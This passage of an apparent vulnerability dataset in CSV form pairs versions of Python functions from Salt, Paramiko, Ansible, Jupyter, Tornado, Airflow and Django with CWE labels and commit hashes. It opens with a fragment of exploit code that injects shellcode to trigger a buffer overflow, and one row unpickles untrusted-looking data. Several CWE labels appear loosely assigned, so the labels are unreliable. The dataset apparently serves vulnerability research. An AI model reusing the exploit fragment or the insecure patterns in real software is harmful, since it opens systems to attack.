"""""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
self.spExploit = self.spExploit.replace("" "", """").replace(""\n"", "" "")
logger.info(""triggering the buffer overflow vulnerability, please wait.."")
inject.goStacked(self.spExploit, silent=True)"
,UNKNOWN,UNKNOWN,salt/client/api.py,1,"def signature(self, cmd):
'''
Convenience function that returns dict of function signature(s) specified by cmd.
cmd is dict of the form:
{
'client': 'clienttypestring'
'module' : 'modulestring',
'tgt' : 'targetpatternstring',
'expr_form' : 'targetpatterntype',
'token': 'salttokenstring',
'username': 'usernamestring',
'password': 'passwordstring',
'eauth': 'eauthtypestring',
}
The cmd dict items are as follows:
client: Either 'master' or 'minion'. Defaults to 'minion' if missing
module: required. This is either a module or module function name for
the specified client.
tgt: Optional pattern string specifying the targeted minions when client
is 'minion'
expr_form: Optional target pattern type string when client is 'minion'.
Example: 'glob' defaults to 'glob' if missing
token: the salt token. Either token: is required or the set of username:,
password: , and eauth:
username: the salt username. Required if token is missing.
password: the user's password. Required if token is missing.
eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing
'''
result = {}
client = cmd.get('client', 'minion')
if client == 'minion':
cmd['fun'] = 'sys.argspec'
cmd['kwarg'] = dict(module=cmd['module'])
result = self.run(cmd)
elif client == 'master':
parts = cmd['module'].split('.')
client = parts[0]
module = '.'.join(parts[1:]) #strip prefix
if client == 'wheel':
functions = self.wheelClient.w_funcs
elif client == 'runner':
functions = self.runnerClient.functions
result = salt.utils.argspec_report(functions, module)
return result",CWE-259,saltstack/salt,bc819f95ec302f8832d9ece11c2d90ddd4c6cfa2,"def signature(self, cmd):
'''
Convenience function that returns dict of function signature(s) specified by cmd.
cmd is dict of the form:
{
'client': 'clienttypestring'
'module' : 'modulestring',
'tgt' : 'targetpatternstring',
'expr_form' : 'targetpatterntype',
'token': 'salttokenstring',
'username': 'usernamestring',
'password': 'passwordstring',
'eauth': 'eauthtypestring',
}
The cmd dict items are as follows:
client: Either 'master' or 'minion'. Defaults to 'minion' if missing
module: required. This is either a module or module function name for
the specified client.
tgt: Optional pattern string specifying the targeted minions when client
is 'minion'
expr_form: Optional target pattern type string when client is 'minion'.
Example: 'glob' defaults to 'glob' if missing
token: the salt token. Either token: is required or the set of username:,
password: , and eauth:
username: the salt username. Required if token is missing.
password: the user's password. Required if token is missing.
eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing
'''
result = {}
client = cmd.get('client', 'minion')
if client == 'minion':
cmd['fun'] = 'sys.argspec'
cmd['kwarg'] = dict(module=cmd['module'])
result = self.run(cmd)
elif client == 'master':
parts = cmd['module'].split('.')
client = parts[0]
module = '.'.join(parts[1:]) #strip prefix
if client == 'wheel':
functions = self.wheelClient.w_funcs
elif client == 'runner':
functions = self.runnerClient.functions
result = salt.utils.argspec_report(functions, module)
return result"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/rsakey.py,0,"def generate(bits, progress_func=None):
""""""
Generate a new private RSA key. This factory function can be used to
generate a new host key or authentication key.
@param bits: number of bits the generated key should be.
@type bits: int
@param progress_func: an optional function to call at key points in
key generation (used by C{pyCrypto.PublicKey}).
@type progress_func: function
@return: new private key
@rtype: L{RSAKey}
@since: fearow
""""""
randpool.stir()
rsa = RSA.generate(bits, randpool.get_bytes, progress_func)
key = RSAKey(vals=(rsa.e, rsa.n))
key.d = rsa.d
key.p = rsa.p
key.q = rsa.q
return key",,paramiko/paramiko,b1d58c5cebbb1a2a847bb20045c5b981f2f99c5b,"def generate(bits, progress_func=None):
""""""
Generate a new private RSA key. This factory function can be used to
generate a new host key or authentication key.
@param bits: number of bits the generated key should be.
@type bits: int
@param progress_func: an optional function to call at key points in
key generation (used by C{pyCrypto.PublicKey}).
@type progress_func: function
@return: new private key
@rtype: L{RSAKey}
@since: fearow
""""""
rsa = RSA.generate(bits, randpool.get_bytes, progress_func)
key = RSAKey(vals=(rsa.e, rsa.n))
key.d = rsa.d
key.p = rsa.p
key.q = rsa.q
return key"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/connection/network_cli.py,0,"def update_play_context(self, pc_data):
""""""Updates the play context information for the connection""""""
pc_data = to_bytes(pc_data)
if PY3:
pc_data = cPickle.loads(pc_data, encoding='bytes')
else:
pc_data = cPickle.loads(pc_data)
play_context = PlayContext()
play_context.deserialize(pc_data)
messages = ['updating play_context for connection']
if self._play_context.become is False and play_context.become is True:
auth_pass = play_context.become_pass
self._terminal.on_become(passwd=auth_pass)
messages.append('authorizing connection')
elif self._play_context.become is True and not play_context.become:
self._terminal.on_unbecome()
messages.append('deauthorizing connection')
self._play_context = play_context
self.reset_history()
self.disable_response_logging()
return messages",,ansible/ansible,ba4b12358c7a1401e058012dffda18c1dc1b8e00,"def update_play_context(self, pc_data):
""""""Updates the play context information for the connection""""""
pc_data = to_bytes(pc_data)
if PY3:
pc_data = cPickle.loads(pc_data, encoding='bytes')
else:
pc_data = cPickle.loads(pc_data)
play_context = PlayContext()
play_context.deserialize(pc_data)
messages = ['updating play_context for connection']
if self._play_context.become is False and play_context.become is True:
auth_pass = play_context.become_pass
self._terminal.on_become(passwd=auth_pass)
messages.append('authorizing connection')
elif self._play_context.become is True and not play_context.become:
self._terminal.on_unbecome()
messages.append('deauthorizing connection')
self._play_context = play_context
return messages"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,jupyter_notebook/auth/login.py,0,"def post(self):
typed_password = self.get_argument('password', default=u'')
if self.login_available(self.settings):
if passwd_check(self.hashed_password, typed_password):
# tornado <4.2 have a bug that consider secure==True as soon as
# 'secure' kwarg is passed to set_secure_cookie
if self.settings.get('secure_cookie', self.request.protocol == 'https'):
kwargs = {'secure':True}
else:
kwargs = {}
self.set_secure_cookie(self.cookie_name, str(uuid.uuid4()), **kwargs)
else:
self._render(message={'error': 'Invalid password'})
return
self.redirect(self.get_argument('next', default=self.base_url))",,jupyter/notebook,c6f9974fafe04e6ac07736d3bef4183e5c77ac6d,"def post(self):
typed_password = self.get_argument('password', default=u'')
if self.login_available(self.settings):
if passwd_check(self.hashed_password, typed_password):
self.set_secure_cookie(self.cookie_name, str(uuid.uuid4()))
else:
self._render(message={'error': 'Invalid password'})
return
self.redirect(self.get_argument('next', default=self.base_url))"
,UNKNOWN,UNKNOWN,tests/pytests/pkg/upgrade/test_salt_upgrade.py,1,"def test_salt_upgrade_minion(
salt_call_cli, install_salt
): # pylint: disable=logging-fstring-interpolation
""""""
Test an upgrade of Salt Minion.
""""""
log.warning(""DGM test_salt_upgrade_minion entry"")
print(""DGM test_salt_upgrade_minion entry"")
if install_salt.relenv:
original_py_version = install_salt.package_python_version()
ret = salt_call_cli.run(""--local"", ""cmd.run"", ""ps aux"")
print(f""DGM test_salt_upgrade_minion, ps aux ret '{ret}'"")
assert ret.returncode == 0
# Verify previous install version is setup correctly and works
ret = salt_call_cli.run(""--local"", ""test.version"")
print(f""DGM test_salt_upgrade_minion, test.version ret '{ret}'"")
assert ret.returncode == 0
installed_version = packaging.version.parse(ret.data)
dgm_pkg_version_parsed = packaging.version.parse(install_salt.artifact_version)
log.warning(
f""DGM test_salt_upgrade_minion, installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
)
print(
f""DGM test_salt_upgrade_minion, installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
)
assert installed_version < packaging.version.parse(install_salt.artifact_version)
# Test pip install before an upgrade
dep = ""PyGithub==1.56.0""
install = salt_call_cli.run(""--local"", ""pip.install"", dep)
assert install.returncode == 0
# Verify we can use the module dependent on the installed package
repo = ""https://github.com/saltstack/salt.git""
use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
assert ""Authentication information could"" in use_lib.stderr
# Verify there is a running minion by getting its PID
if installed_version < packaging.version.parse(""3006.0""):
# This is using PyInstaller
process_name = ""run minion""
else:
if platform.is_windows():
process_name = ""salt-minion.exe""
else:
process_name = ""salt-minion""
old_pids = _get_running_salt_minion_pid(process_name)
assert old_pids
# Upgrade Salt from previous version and test
install_salt.install(upgrade=True)
ret = salt_call_cli.run(""--local"", ""test.version"")
log.warning(f""DGM test_salt_upgrade_minion, upgrade test_version ret '{ret}'"")
print(f""DGM test_salt_upgrade_minion, upgrade test_version ret '{ret}'"")
assert ret.returncode == 0
installed_version = packaging.version.parse(ret.data)
dgm_pkg_version_parsed = packaging.version.parse(install_salt.artifact_version)
log.warning(
f""DGM test_salt_upgrade_minion, upgrade installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
)
print(
f""DGM test_salt_upgrade_minion, upgrade installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
)
assert installed_version == packaging.version.parse(install_salt.artifact_version)
# Verify there is a new running minion by getting its PID and comparing it
# with the PID from before the upgrade
if installed_version < packaging.version.parse(""3006.0""):
# This is using PyInstaller
process_name = ""run minion""
else:
if platform.is_windows():
process_name = ""salt-minion.exe""
else:
process_name = ""salt-minion""
new_pids = _get_running_salt_minion_pid(process_name)
assert new_pids
assert new_pids != old_pids
if install_salt.relenv:
new_py_version = install_salt.package_python_version()
if new_py_version == original_py_version:
# test pip install after an upgrade
use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
assert ""Authentication information could"" in use_lib.stderr",CWE-703,saltstack/salt,449c82226e7a10a6b39340aaaea2a81dd1abb0d1,"def test_salt_upgrade_minion(
salt_call_cli, install_salt
): # pylint: disable=logging-fstring-interpolation
""""""
Test an upgrade of Salt Minion.
""""""
log.warning(""DGM test_salt_upgrade_minion entry"")
print(""DGM test_salt_upgrade_minion entry"")
if install_salt.relenv:
original_py_version = install_salt.package_python_version()
# Verify previous install version is setup correctly and works
ret = salt_call_cli.run(""--local"", ""test.version"")
print(f""DGM test_salt_upgrade_minion, test.version ret '{ret}'"")
assert ret.returncode == 0
ret = salt_call_cli.run(""--local"", ""cmd.run"", ""ps aux"")
print(f""DGM test_salt_upgrade_minion, ps aux ret '{ret}'"")
assert ret.returncode == 0
installed_version = packaging.version.parse(ret.data)
dgm_pkg_version_parsed = packaging.version.parse(install_salt.artifact_version)
log.warning(
f""DGM test_salt_upgrade_minion, installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
)
print(
f""DGM test_salt_upgrade_minion, installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
)
assert installed_version < packaging.version.parse(install_salt.artifact_version)
# Test pip install before an upgrade
dep = ""PyGithub==1.56.0""
install = salt_call_cli.run(""--local"", ""pip.install"", dep)
assert install.returncode == 0
# Verify we can use the module dependent on the installed package
repo = ""https://github.com/saltstack/salt.git""
use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
assert ""Authentication information could"" in use_lib.stderr
# Verify there is a running minion by getting its PID
if installed_version < packaging.version.parse(""3006.0""):
# This is using PyInstaller
process_name = ""run minion""
else:
if platform.is_windows():
process_name = ""salt-minion.exe""
else:
process_name = ""salt-minion""
old_pids = _get_running_salt_minion_pid(process_name)
assert old_pids
# Upgrade Salt from previous version and test
install_salt.install(upgrade=True)
ret = salt_call_cli.run(""--local"", ""test.version"")
log.warning(f""DGM test_salt_upgrade_minion, upgrade test_version ret '{ret}'"")
print(f""DGM test_salt_upgrade_minion, upgrade test_version ret '{ret}'"")
assert ret.returncode == 0
installed_version = packaging.version.parse(ret.data)
dgm_pkg_version_parsed = packaging.version.parse(install_salt.artifact_version)
log.warning(
f""DGM test_salt_upgrade_minion, upgrade installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
)
print(
f""DGM test_salt_upgrade_minion, upgrade installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
)
assert installed_version == packaging.version.parse(install_salt.artifact_version)
# Verify there is a new running minion by getting its PID and comparing it
# with the PID from before the upgrade
if installed_version < packaging.version.parse(""3006.0""):
# This is using PyInstaller
process_name = ""run minion""
else:
if platform.is_windows():
process_name = ""salt-minion.exe""
else:
process_name = ""salt-minion""
new_pids = _get_running_salt_minion_pid(process_name)
assert new_pids
assert new_pids != old_pids
if install_salt.relenv:
new_py_version = install_salt.package_python_version()
if new_py_version == original_py_version:
# test pip install after an upgrade
use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
assert ""Authentication information could"" in use_lib.stderr"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/auth.py,0,"def _oauth_get_user_future(self, access_token, callback):
""""""Subclasses must override this to get basic information about the
user.
Should return a `.Future` whose result is a dictionary
containing information about the user, which may have been
retrieved by using ``access_token`` to make a request to the
service.
The access token will be added to the returned dictionary to make
the result of `get_authenticated_user`.
For backwards compatibility, the callback-based ``_oauth_get_user``
method is also supported.
.. deprecated:: 5.1
The ``_oauth_get_user`` fallback is deprecated and support for it
will be removed in 6.0.
""""""
warnings.warn(""_oauth_get_user is deprecated, override _oauth_get_user_future instead"",
DeprecationWarning)
# By default, call the old-style _oauth_get_user, but new code
# should override this method instead.
self._oauth_get_user(access_token, callback)",CWE-Unknown,tornadoweb/tornado,1a0714e7357a7b6cde74b8b1af0d27dfba3e6391,"def _oauth_get_user_future(self, access_token, callback):
""""""Subclasses must override this to get basic information about the
user.
Should return a `.Future` whose result is a dictionary
containing information about the user, which may have been
retrieved by using ``access_token`` to make a request to the
service.
The access token will be added to the returned dictionary to make
the result of `get_authenticated_user`.
For backwards compatibility, the callback-based ``_oauth_get_user``
method is also supported.
""""""
# By default, call the old-style _oauth_get_user, but new code
# should override this method instead.
self._oauth_get_user(access_token, callback)"
,UNKNOWN,UNKNOWN,lib/ansible/constants.py,1,"def _get_config(p, section, key, env_var, default):
''' helper function for get_config '''
value = default
if env_var is not None:
env_value = os.environ.get(env_var, None)
if env_value is not None:
value = env_value
if p is not None:
try:
value = p.get(section, key, raw=True)
except:
pass
return to_text(value, errors='surrogate_or_strict', nonstring='passthru')",CWE-703,ansible/ansible,f129977e2bac77625d513522912652566616dbc7,"def _get_config(p, section, key, env_var, default):
''' helper function for get_config '''
value = default
if env_var is not None:
env_value = os.environ.get(env_var, None)
if env_value is not None:
value = env_value
if p is not None:
try:
value = p.get(section, key, raw=True)
except:
pass
return to_text(value, errors='surrogate_or_strict')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/security/kerberos.py,0,"def renew_from_kt():
# The config is specified in seconds. But we ask for that same amount in
# minutes to give ourselves a large renewal buffer.
renewal_lifetime = ""%sm"" % configuration.getint('kerberos', 'reinit_frequency')
principal = configuration.get('kerberos', 'principal').replace(""_HOST"", socket.getfqdn())
cmdv = [configuration.get('kerberos', 'kinit_path'),
""-r"", renewal_lifetime,
""-k"", # host ticket
""-t"", configuration.get('kerberos', 'keytab'), # specify keytab
""-c"", configuration.get('kerberos', 'ccache'), # specify credentials cache
principal]
LOG.info(""Reinitting kerberos from keytab: "" +
"" "".join(cmdv))
subp = subprocess.Popen(cmdv,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
close_fds=True,
bufsize=-1)
subp.wait()
if subp.returncode != 0:
LOG.error(""Couldn't reinit from keytab! `kinit' exited with %s.\n%s\n%s"" % (
subp.returncode,
""\n"".join(subp.stdout.readlines()),
""\n"".join(subp.stderr.readlines())))
sys.exit(subp.returncode)
global NEED_KRB181_WORKAROUND
if NEED_KRB181_WORKAROUND is None:
NEED_KRB181_WORKAROUND = detect_conf_var()
if NEED_KRB181_WORKAROUND:
# (From: HUE-640). Kerberos clock have seconds level granularity. Make sure we
# renew the ticket after the initial valid time.
time.sleep(1.5)
perform_krb181_workaround()",CWE-Unknown,apache/airflow,dc1bdf6222094e908b75056f9d6b0d14419e8777,"def renew_from_kt():
# The config is specified in seconds. But we ask for that same amount in
# minutes to give ourselves a large renewal buffer.
renewal_lifetime = ""%sm"" % configuration.getint('kerberos', 'reinit_frequency')
principal = configuration.get('kerberos', 'principal').replace(""_HOST"", socket.getfqdn())
cmdv = [configuration.get('kerberos', 'kinit_path'),
""-r"", renewal_lifetime,
""-k"", # host ticket
""-t"", configuration.get('kerberos', 'keytab'), # specify keytab
""-c"", configuration.get('kerberos', 'ccache'), # specify credentials cache
principal]
LOG.info(""Reinitting kerberos from keytab: "" +
"" "".join(cmdv))
subp = subprocess.Popen(cmdv,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
close_fds=True,
bufsize=-1)
subp.wait()
if subp.returncode != 0:
LOG.error(""Couldn't reinit from keytab! `kinit' exited with %s.\n%s\n%s"" % (
subp.returncode,
""\n"".join(subp.stdout.readlines()),
""\n"".join(subp.stderr.readlines())))
sys.exit(subp.returncode)
global NEED_KRB181_WORKAROUND
if NEED_KRB181_WORKAROUND is None:
NEED_KRB181_WORKAROUND = detect_conf_var()
if NEED_KRB181_WORKAROUND:
# (From: HUE-640). Kerberos clock have seconds level granularity. Make sure we
# renew the ticket after the initial valid time.
time.sleep(1.5)
perform_krb181_workaround()"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_tasks.py,1,"def test_task_instances(admin_client):
""""""Test task_instances view.""""""
resp = admin_client.get(
f""/object/task_instances?dag_id=example_bash_operator&execution_date={DEFAULT_DATE}"",
follow_redirects=True,
)
assert resp.status_code == 200
assert resp.json == {
""also_run_this"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""notes"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""also_run_this"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""run_after_loop"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""notes"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""run_after_loop"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""run_this_last"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""notes"": None,
""operator"": ""EmptyOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 1,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""run_this_last"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_0"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""notes"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_0"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_1"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""notes"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_1"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_2"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""notes"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_2"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""this_will_skip"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""notes"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""this_will_skip"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
}",CWE-703,apache/airflow,dc03b9081f47c11d6c3beb1a2c30bb75385c125c,"def test_task_instances(admin_client):
""""""Test task_instances view.""""""
resp = admin_client.get(
f""/object/task_instances?dag_id=example_bash_operator&execution_date={DEFAULT_DATE}"",
follow_redirects=True,
)
assert resp.status_code == 200
assert resp.json == {
""also_run_this"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""also_run_this"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""run_after_loop"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""run_after_loop"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""run_this_last"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""EmptyOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 1,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""run_this_last"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_0"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_0"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_1"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_1"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""runme_2"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 3,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""runme_2"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
""this_will_skip"": {
""dag_id"": ""example_bash_operator"",
""duration"": None,
""end_date"": None,
""executor_config"": {},
""external_executor_id"": None,
""hostname"": """",
""job_id"": None,
""map_index"": -1,
""max_tries"": 0,
""next_kwargs"": None,
""next_method"": None,
""operator"": ""BashOperator"",
""pid"": None,
""pool"": ""default_pool"",
""pool_slots"": 1,
""priority_weight"": 2,
""queue"": ""default"",
""queued_by_job_id"": None,
""queued_dttm"": None,
""run_id"": ""TEST_DAGRUN"",
""start_date"": None,
""state"": None,
""task_id"": ""this_will_skip"",
""trigger_id"": None,
""trigger_timeout"": None,
""try_number"": 1,
""unixname"": ""root"",
""updated_at"": DEFAULT_DATE.isoformat(),
},
}"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/datetime_safe.py,0,"def strftime(dt, fmt):
if dt.year >= 1900:
return super(type(dt), dt).strftime(fmt)
illegal_formatting = _illegal_formatting.search(fmt)
if illegal_formatting:
raise TypeError(""strftime of dates before 1900 does not handle"" + illegal_formatting.group(0))
year = dt.year
# For every non-leap year century, advance by
# 6 years to get into the 28-year repeat cycle
delta = 2000 - year
off = 6 * (delta // 100 + delta // 400)
year = year + off
# Move to around the year 2000
year = year + ((2000 - year) // 28) * 28
timetuple = dt.timetuple()
s1 = time.strftime(fmt, (year,) + timetuple[1:])
sites1 = _findall(s1, str(year))
s2 = time.strftime(fmt, (year + 28,) + timetuple[1:])
sites2 = _findall(s2, str(year + 28))
sites = []
for site in sites1:
if site in sites2:
sites.append(site)
s = s1
syear = ""%04d"" % (dt.year,)
for site in sites:
s = s[:site] + syear + s[site + 4:]
return s",CWE-Unknown,django/django,c347f78cc1b2a06958f692f0622deceac534dc6b,"def strftime(dt, fmt):
if dt.year >= 1900:
return super(type(dt), dt).strftime(fmt)
illegal_formatting = _illegal_formatting.search(fmt)
if illegal_formatting:
raise TypeError(""strftime of dates before 1900 does not handle"" + illegal_formatting.group(0))
year = dt.year
# For every non-leap year century, advance by
# 6 years to get into the 28-year repeat cycle
delta = 2000 - year
off = 6 * (delta // 100 + delta // 400)
year = year + off
# Move to around the year 2000
year = year + ((2000 - year) // 28) * 28
timetuple = dt.timetuple()
s1 = time.strftime(fmt, (year,) + timetuple[1:])
sites1 = _findall(s1, str(year))
s2 = time.strftime(fmt, (year+28,) + timetuple[1:])
sites2 = _findall(s2, str(year+28))
sites = []
for site in sites1:
if site in sites2:
sites.append(site)
s = s1
syear = ""%04d"" % (dt.year,)
for site in sites:
s = s[:site] + syear + s[site+4:]
return s"
